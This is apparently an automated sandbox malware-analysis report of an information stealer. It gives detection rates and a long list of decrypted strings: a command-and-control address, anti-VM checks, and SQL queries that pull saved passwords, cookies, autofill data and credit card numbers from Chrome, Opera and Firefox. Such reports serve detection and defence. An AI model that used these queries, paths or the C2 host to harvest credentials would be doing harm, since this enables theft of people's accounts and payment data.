Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2305[1].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2305[2].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\oiii[1].exe	ReversingLabs: Detection: 45%

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	ReversingLabs: Detection: 15%
Source: SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe	Virustotal: Detection: 37%			Perma Link

Machine Learning detection for dropped file

Source: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\span_9Vvud2RskkJ\Xv6O6ANXmRXk_nKzAGAD.exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetProcAddress
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: LoadLibraryA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: lstrcatA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: OpenEventA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CreateEventA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CloseHandle
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Sleep
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: VirtualFree
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetSystemInfo
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: VirtualAlloc
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: HeapAlloc
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetComputerNameA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: lstrcpyA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetProcessHeap
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: lstrlenA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: ExitProcess
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetSystemTime
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: advapi32.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: gdi32.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: user32.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: crypt32.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: ntdll.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetUserNameA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CreateDCA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: ReleaseDC
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: sscanf
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: VMwareVMware
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: HAL9TH
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: JohnDoe
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: DISPLAY
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: http://185.172.128.170
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: /7043a0c6a68d9c65.php
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: /8420e83ceb95f3af/
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: default11
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GlobalLock
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: HeapFree
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetFileSize
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GlobalSize
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: IsWow64Process
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Process32Next
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetLocalTime
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: FreeLibrary
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Process32First
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: DeleteFileA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: FindNextFileA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: LocalFree
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: FindClose
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: LocalAlloc
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: ReadFile
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SetFilePointer
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: WriteFile
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CreateFileA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: FindFirstFileA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CopyFileA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: VirtualProtect
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetLastError
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: lstrcpynA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GlobalFree
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GlobalAlloc
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: OpenProcess
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: TerminateProcess
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: gdiplus.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: ole32.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: bcrypt.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: wininet.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: shlwapi.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: shell32.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: psapi.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SelectObject
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: BitBlt
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: DeleteObject
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GdiplusStartup
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GdipFree
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CoUninitialize
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CoInitialize
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CoCreateInstance
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetWindowRect
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetDC
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CloseWindow
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: wsprintfA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CharToOemW
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: wsprintfW
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: RegCloseKey
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: RegEnumValueA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: InternetConnectA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: InternetOpenA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: InternetReadFile
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: StrCmpCA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: StrStrA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: StrCmpCW
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: PathMatchSpecA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: GetModuleFileNameExA
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: RmStartSession
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: RmRegisterResources
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: RmGetList
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: RmEndSession
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: sqlite3_open
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: sqlite3_prepare_v2
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: sqlite3_step
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: sqlite3_column_text
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: sqlite3_finalize
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: sqlite3_close
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: sqlite3_column_bytes
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: sqlite3_column_blob
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: encrypted_key
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: PATH
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: C:\ProgramData\nss3.dll
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: NSS_Init
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: NSS_Shutdown
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: PK11_FreeSlot
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: PK11_Authenticate
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: PK11SDR_Decrypt
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: C:\ProgramData\
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: browser:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: profile:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: url:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: login:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: password:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Opera
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: OperaGX
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Network
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: cookies
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: .txt
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: TRUE
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: FALSE
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: autofill
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SELECT name, value FROM autofill
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: history
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: name:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: month:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: year:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: card:
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Cookies
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Login Data
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Web Data
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: History
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: logins.json
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: formSubmitURL
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: usernameField
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: encryptedUsername
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: encryptedPassword
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: guid
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: cookies.sqlite
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: formhistory.sqlite
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: places.sqlite
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: plugins
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Local Extension Settings
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Sync Extension Settings
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: IndexedDB
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Opera Stable
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Opera GX Stable
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: CURRENT
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: chrome-extension_
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: Local State
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: profiles.ini
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: chrome
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: opera
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: firefox
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: wallets
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: ProductName
Source: 10.2.va2JQfwFWdGawVd2zp4LeR00.exe.2d60e67.1.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
